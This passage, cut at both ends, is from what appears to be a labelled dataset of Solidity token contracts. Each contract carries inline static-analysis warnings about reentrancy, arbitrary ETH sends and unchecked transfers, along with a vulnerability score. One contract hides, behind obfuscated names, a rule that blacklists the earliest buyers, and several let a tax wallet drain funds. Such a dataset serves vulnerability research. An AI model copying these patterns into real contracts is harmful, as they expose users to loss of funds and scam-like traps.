Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 04f6fad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 143367a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 143367a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n !initialBuyers[to]\n ) {\n currentBuyCount++;\n\n initialBuyers[to] = true;\n\n if (currentBuyCount <= blacklistCount) {\n bots[to] = true;\n\n emit Transfer(from, to, 0);\n }\n }\n\n taxAmount = amount\n .mul((_buyCount > _x2JVZR759) ? _x7BWMJN : _0xFRXZ6981)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _x5YBXR9T3, \"Exceeds the _x5YBXR9T3.\");\n\n require(\n balanceOf(to) + amount <= _x0FKWP6L7,\n \"Exceeds the x0FKWP6L7.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul((_buyCount > _xGWQY18) ? _x5HTYL8039 : _x3LPYQ4027)\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !x3NVWPH9 &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _x6RPZQK1 &&\n _buyCount > _x1LQTR4V2\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 04f6fad\n\t\t\t\t// reentrancy-eth | ID: 143367a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 04f6fad\n\t\t\t\t\t// reentrancy-eth | ID: 143367a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 143367a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 143367a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 143367a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 04f6fad\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 143367a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 143367a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 04f6fad\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9c4ae8d\n\t\t// reentrancy-events | ID: 04f6fad\n\t\t// reentrancy-events | ID: 5d23875\n\t\t// reentrancy-benign | ID: 8bc14d2\n\t\t// reentrancy-benign | ID: 9a93139\n\t\t// reentrancy-eth | ID: 143367a\n\t\t// reentrancy-eth | ID: 18bcd60\n\t\t// reentrancy-eth | ID: ed654da\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits_x7NBQZ5172() external onlyOwner {\n _x5YBXR9T3 = _tTotal;\n\n _x0FKWP6L7 = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 08b1c6a): Launch.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 08b1c6a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9c4ae8d\n\t\t// reentrancy-events | ID: 04f6fad\n\t\t// reentrancy-events | ID: 5d23875\n\t\t// reentrancy-eth | ID: 143367a\n\t\t// reentrancy-eth | ID: 18bcd60\n\t\t// reentrancy-eth | ID: ed654da\n\t\t// arbitrary-send-eth | ID: 08b1c6a\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5d23875): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5d23875: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8bc14d2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8bc14d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 39b3111): Launch.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 39b3111: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 06322fa): Launch.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 06322fa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 18bcd60): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 18bcd60: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ed654da): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ed654da: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 5d23875\n\t\t// reentrancy-benign | ID: 8bc14d2\n\t\t// reentrancy-eth | ID: 18bcd60\n\t\t// reentrancy-eth | ID: ed654da\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 5d23875\n\t\t// reentrancy-benign | ID: 8bc14d2\n\t\t// reentrancy-eth | ID: 18bcd60\n\t\t// reentrancy-eth | ID: ed654da\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 5d23875\n\t\t// reentrancy-benign | ID: 8bc14d2\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 06322fa\n\t\t// reentrancy-eth | ID: 18bcd60\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 39b3111\n\t\t// reentrancy-eth | ID: 18bcd60\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 18bcd60\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 18bcd60\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 25798d8): Launch.reduceFee(uint256) should emit an event for _x5HTYL8039 = _newFee \n\t// Recommendation for 25798d8: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 25798d8\n _x5HTYL8039 = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap_x4JKWY3286() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10120.sol",
"size_bytes": 22373,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SUMIRE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: eb057de): SUMIRE._taxWallet should be immutable \n\t// Recommendation for eb057de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1477b1): SUMIRE._initialBuyTax should be constant \n\t// Recommendation for f1477b1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: 880357d): SUMIRE._initialSellTax should be constant \n\t// Recommendation for 880357d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7653670): SUMIRE._finalBuyTax should be constant \n\t// Recommendation for 7653670: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0150f20): SUMIRE._finalSellTax should be constant \n\t// Recommendation for 0150f20: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06a9e6e): SUMIRE._reduceBuyTaxAt should be constant \n\t// Recommendation for 06a9e6e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 37;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9f677ed): SUMIRE._reduceSellTaxAt should be constant \n\t// Recommendation for 9f677ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 37;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b65cdb): SUMIRE._preventSwapBefore should be constant \n\t// Recommendation for 7b65cdb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 37;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Sumire\";\n\n string private constant _symbol = unicode\"SUMIRE\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 041f382): SUMIRE._taxSwapThreshold should be constant \n\t// Recommendation for 041f382: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7eace92): SUMIRE._maxTaxSwap should be constant \n\t// Recommendation for 7eace92: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5ff17d4): SUMIRE.uniswapV2Router should be immutable \n\t// Recommendation for 5ff17d4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cd241be): SUMIRE.uniswapV2Pair should be immutable \n\t// Recommendation for cd241be: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 080b995): SUMIRE.sellsPerBlock should be constant \n\t// Recommendation for 080b995: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 96fdddc): SUMIRE.buysFirstBlock should be constant \n\t// Recommendation for 96fdddc: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 50;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x8817af19e092Ab0f296f8aC2147E712DA565887f);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c412f2f): SUMIRE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c412f2f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d996073): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d996073: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7fe3fdc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7fe3fdc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d996073\n\t\t// reentrancy-benign | ID: 7fe3fdc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d996073\n\t\t// reentrancy-benign | ID: 7fe3fdc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b245679): SUMIRE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b245679: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7fe3fdc\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d996073\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cb35332): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cb35332: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b145d5c): SUMIRE._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for b145d5c: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6dbd2ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6dbd2ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 84e637d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 84e637d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: b145d5c\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: cb35332\n\t\t\t\t// reentrancy-eth | ID: 6dbd2ff\n\t\t\t\t// reentrancy-eth | ID: 84e637d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cb35332\n\t\t\t\t\t// reentrancy-eth | ID: 6dbd2ff\n\t\t\t\t\t// reentrancy-eth | ID: 84e637d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6dbd2ff\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6dbd2ff\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: cb35332\n\t\t\t\t// reentrancy-eth | ID: 84e637d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cb35332\n\t\t\t\t\t// reentrancy-eth | ID: 84e637d\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 84e637d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cb35332\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 84e637d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 84e637d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cb35332\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cb35332\n\t\t// reentrancy-events | ID: d996073\n\t\t// reentrancy-benign | ID: 7fe3fdc\n\t\t// reentrancy-eth | ID: 6dbd2ff\n\t\t// reentrancy-eth | ID: 84e637d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cb35332\n\t\t// reentrancy-events | ID: d996073\n\t\t// reentrancy-eth | ID: 6dbd2ff\n\t\t// reentrancy-eth | ID: 84e637d\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3d8a50c): SUMIRE.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 3d8a50c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 3d8a50c\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4786ffc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4786ffc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 69df3ea): SUMIRE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 69df3ea: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 598a7e8): SUMIRE.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 598a7e8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: db82d1f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for db82d1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 4786ffc\n\t\t// unused-return | ID: 69df3ea\n\t\t// reentrancy-eth | ID: db82d1f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4786ffc\n\t\t// unused-return | ID: 598a7e8\n\t\t// reentrancy-eth | ID: db82d1f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4786ffc\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: db82d1f\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 4786ffc\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10121.sol",
"size_bytes": 22804,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition 